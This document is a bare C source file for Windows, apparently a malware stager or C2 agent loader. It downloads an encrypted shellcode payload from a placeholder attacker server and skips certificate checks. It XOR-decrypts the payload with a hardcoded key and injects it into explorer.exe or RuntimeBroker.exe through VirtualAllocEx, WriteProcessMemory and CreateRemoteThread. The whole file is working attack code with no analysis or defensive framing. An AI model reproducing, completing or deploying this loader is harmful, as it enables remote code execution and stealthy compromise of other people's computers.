#include <windows.h>
#include <wininet.h>
#include <tlhelp32.h>
#include <stdint.h>
#pragma comment(lib, "wininet.lib")

#define URL "https://CHANGEME_IP:443/dl/CHANGEME_TOKEN/agent_sc.enc"

static uint8_t* fetch(int *out_len) {
    HINTERNET hI=InternetOpenA("Mozilla/5.0",INTERNET_OPEN_TYPE_DIRECT,NULL,NULL,0);
    if(!hI)return NULL;
    HINTERNET hU=InternetOpenUrlA(hI,URL,NULL,0,0x84803000,0);
    {DWORD sf=0x00003380;InternetSetOptionA(hU,31,&sf,sizeof(sf));}
    if(!hU){InternetCloseHandle(hI);return NULL;}
    uint8_t *buf=(uint8_t*)VirtualAlloc(NULL,256*1024,MEM_COMMIT|MEM_RESERVE,PAGE_READWRITE);
    if(!buf){InternetCloseHandle(hU);InternetCloseHandle(hI);return NULL;}
    DWORD total=0,br;
    while(InternetReadFile(hU,buf+total,4096,&br)&&br>0) total+=br;
    InternetCloseHandle(hU);InternetCloseHandle(hI);
    *out_len=(int)total;return buf;
}

static DWORD find_pid(const char *name) {
    DWORD pid=0;
    HANDLE snap=CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS,0);
    if(snap==INVALID_HANDLE_VALUE)return 0;
    PROCESSENTRY32 pe={0};pe.dwSize=sizeof(pe);
    if(Process32First(snap,&pe)){do{
        if(lstrcmpiA(pe.szExeFile,name)==0){pid=pe.th32ProcessID;break;}
    }while(Process32Next(snap,&pe));}
    CloseHandle(snap);
    return pid;
}

int WINAPI WinMain(HINSTANCE h, HINSTANCE hp, LPSTR cmd, int show) {
    volatile unsigned char key[32];
    key[0]=0xde;key[1]=0xad;key[2]=0xbe;key[3]=0xef;
    key[4]=0xca;key[5]=0xfe;key[6]=0xba;key[7]=0xbe;
    key[8]=0x13;key[9]=0x37;key[10]=0x42;key[11]=0x69;
    key[12]=0xaa;key[13]=0xbb;key[14]=0xcc;key[15]=0xdd;
    key[16]=0x11;key[17]=0x22;key[18]=0x33;key[19]=0x44;
    key[20]=0x55;key[21]=0x66;key[22]=0x77;key[23]=0x88;
    key[24]=0x99;key[25]=0x00;key[26]=0xab;key[27]=0xcd;
    key[28]=0xef;key[29]=0x12;key[30]=0x34;key[31]=0x56;

    int len=0;
    uint8_t *data=fetch(&len);
    if(!data||len<100) return 1;
    for(int i=0;i<len;i++) data[i]^=key[i%32];

    DWORD pid=find_pid("explorer.exe");
    if(!pid) pid=find_pid("RuntimeBroker.exe");
    if(!pid) return 1;

    HANDLE hProc=OpenProcess(PROCESS_ALL_ACCESS,FALSE,pid);
    if(!hProc){VirtualFree(data,0,MEM_RELEASE);return 1;}
    PVOID mem=VirtualAllocEx(hProc,NULL,len,MEM_COMMIT|MEM_RESERVE,PAGE_EXECUTE_READWRITE);
    if(!mem){CloseHandle(hProc);VirtualFree(data,0,MEM_RELEASE);return 1;}
    WriteProcessMemory(hProc,mem,data,len,NULL);
    HANDLE hT=CreateRemoteThread(hProc,NULL,0,(LPTHREAD_START_ROUTINE)mem,NULL,0,NULL);
    if(hT) CloseHandle(hT);
    CloseHandle(hProc);
    Sleep(5000);
    VirtualFree(data,0,MEM_RELEASE);
    return 0;
}